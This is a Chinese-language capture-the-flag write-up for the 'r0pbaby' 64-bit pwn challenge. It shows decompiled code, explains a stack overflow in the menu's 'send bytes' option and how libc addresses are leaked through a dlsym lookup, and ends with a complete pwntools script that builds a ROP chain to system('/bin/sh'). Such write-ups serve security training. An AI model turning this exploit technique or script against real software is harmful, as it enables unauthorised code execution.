64位elf,程序无canary,无relro
程序如下(已经重命名):
__int64 __fastcall main(int a1, char **a2, char **a3) { int v3; // eax void *v4; // rax unsigned __int64 v5; // r14 int v6; // er13 size_t v7; // r12 int v8; // eax void *handle; // [rsp+8h] [rbp-448h] char nptr[1088]; // [rsp+10h] [rbp-440h] BYREF __int64 savedregs; // [rsp+450h] [rbp+0h] BYREF setvbuf(stdout, 0LL, 2, 0LL); signal(14, handler); alarm(0x3Cu); puts("\nWelcome to an easy Return Oriented Programming challenge..."); puts("Menu:"); handle = dlopen("libc.so.6", 1); while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { menu(); if ( !safe_read((__int64)nptr, 1024LL) ) { puts("Bad choice."); return 0LL; } v3 = strtol(nptr, 0LL, 10); if ( v3 != 2 ) break; __printf_chk(1LL, "Enter symbol: "); if ( safe_read((__int64)nptr, 64LL) ) { v4 = dlsym(handle, nptr); __printf_chk(1LL, "Symbol %s: 0x%016llX\n", nptr, v4); } else { puts("Bad symbol."); } } if ( v3 > 2 ) break; if ( v3 != 1 ) goto LABEL_24; __printf_chk(1LL, "libc.so.6: 0x%016llX\n", handle); } if ( v3 != 3 ) break; __printf_chk(1LL, "Enter bytes to send (max 1024): "); safe_read((__int64)nptr, 1024LL); v5 = (int)strtol(nptr, 0LL, 10); if ( v5 - 1 > 1023 ) { puts("Invalid amount."); } else { if ( v5 ) { v6 = 0; v7 = 0LL; while ( 1 ) { v8 = _IO_getc(stdin); if ( v8 == -1 ) break; nptr[v7] = v8; v7 = ++v6; if ( v5 <= v6 ) goto LABEL_22; } v7 = v6 + 1; } else { v7 = 0LL; } LABEL_22: memcpy(&savedregs, nptr, v7); } } if ( v3 == 4 ) break; LABEL_24: puts("Bad choice."); } dlclose(handle); puts("Exiting."); return 0LL; }
menu如下:
__int64 menu() { puts("1) Get libc address"); puts("2) Get address of a libc function"); puts("3) Nom nom r0p buffer to stack"); puts("4) Exit"); return __printf_chk(1LL, ": "); }
safe_read如下:
__int64 __fastcall sub_B9A(__int64 a1, __int64 a2) { unsigned __int64 v2; // rsi __int64 v3; // rbx int i; // ebp int v5; // eax v2 = a2 - 1; if ( v2 ) { v3 = 0LL; for ( i = 0; i < v2; v3 = i ) { v5 = _IO_getc(stdin); if ( v5 == -1 ) break; if ( v5 == '\n' ) break; ++i; *(_BYTE *)(a1 + v3) = v5; } } else { v3 = 0LL; } *(_BYTE *)(a1 + v3) = 0; return v3; }
程序提供了给出libc address功能(不过在本机上给出的地址不对),获得libc函数地址功能,和将输入(最多1024位长)复制到saved rbp处,因此存在栈溢出
实际上可以根据功能2获得许多libc函数地址,然后直接根据libc database获得远程所用的libc版本
之后根据libc函数地址可以算出libc基地址,然后能获得libc里的gadgets地址和/bin/sh地址,构造rop链即可
exp如下:
from pwn import * io = process('./r0pbaby') elf = ELF('./r0pbaby') libc = elf.libc pop_rdi = 0x21112 pop_rsi = 0x202f8 pop_rdx = 0x1b92 io.recvuntil(': ') io.sendline('2') io.recvuntil('Enter symbol: ') io.sendline('system') io.recvuntil('Symbol system: 0x') system_addr = int(io.recv(16), 16) info('system_addr: 0x%x' % system_addr) libc_base = system_addr - libc.symbols['system'] info('libc_base: 0x%x' % libc_base) pop_rdi += libc_base pop_rsi += libc_base pop_rdx += libc_base binsh_addr = libc_base + next(libc.search(b'/bin/sh')) info('binsh_addr: 0x%x' % binsh_addr) payload = b'a' * 8 + p64(pop_rdi) + p64(binsh_addr) + p64(pop_rsi) + p64(0) payload += p64(pop_rdx) + p64(0) + p64(system_addr) io.recvuntil(': ') io.sendline('3') io.recvuntil('Enter bytes to send (max 1024): ') io.sendline(str(len(payload))) io.send(payload) io.recvuntil(': ') io.sendline('4') io.interactive()